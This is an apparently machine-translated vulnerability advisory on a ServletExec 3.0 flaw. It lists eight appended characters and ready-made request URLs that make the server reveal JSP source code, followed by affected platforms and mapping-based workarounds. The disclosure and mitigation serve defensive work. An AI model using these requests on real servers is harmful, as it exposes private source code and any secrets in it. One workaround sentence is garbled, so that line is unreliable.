Unify Ewave servletexec leak JSP source Code Vulnerability

Js|servlet| Source Code

Involving procedures:
Servletexec

Describe:
Adding special characters to an HTTP request results in exposing the JSP source code file

With:
Unify Ewave Servletexec is a Java/java Servlet engine plug-in that is used primarily for WEB servers, such as Microsoft IIS, Apache, Netscape Enterprise servers, and so on.

When one of the following characters is added to an HTTP request, SERVLETEXEC returns the JSP source code file.
.
%2e
+
%2b
\
%5c
%20
%00

Successful exploitation will result in the disclosure of the source code of the specified JSP file

For example:
Use any of the following URL requests to output the source code for the specified JSP file:
Http://target/directory/jsp/file.jsp.
Http://target/directory/jsp/file.jsp%2E
http://target/directory/jsp/file.jsp+
Http://target/directory/jsp/file.jsp%2B
Http://target/directory/jsp/file.jsp\
Http://target/directory/jsp/file.jsp%5C
Http://target/directory/jsp/file.jsp%20
http://target/directory/jsp/file.jsp%00

Affected Systems:
Unify Ewave servletexec 3.0c
-Sun Solaris 8.0
-Microsoft Windows 98
-Microsoft Windows NT 4.0
-Microsoft Windows NT 2000
-Linux Kernel 2.3.x
-IBM AIX 4.3.2
-HP-UX 11.4
Unify Ewave servletexec 3.0
-Sun Solaris 8.0
-Microsoft Windows 98
-Microsoft Windows NT 4.0
-Microsoft Windows NT 2000
-Linux Kernel 2.3.x
-IBM AIX 4.3.2
-HP-UX 11.4

Solution:
Interim solution:
If you do not use any static pages or images, you can configure a default servlet and map "/" to this default servlet. This default servlet is invoked when a URL that is not mapped to a servlet is received. In this case, the default servlet can simply return "files not found". If you use a static page or image, you can still make such a configuration, but you need to have this default servlet handle requests for legitimate static pages and images.

Another possibility is to map *.jsp+, *.jsp. and *.jsp\ to a servlet that simply returns "files not found." For cases such as *.jsp%00 and *.jsp%20, mappings should be entered in an encoded form. For example, you should enter "*.jsp" for *.jsp%20 mappings. Note that the%20 is converted to a space character.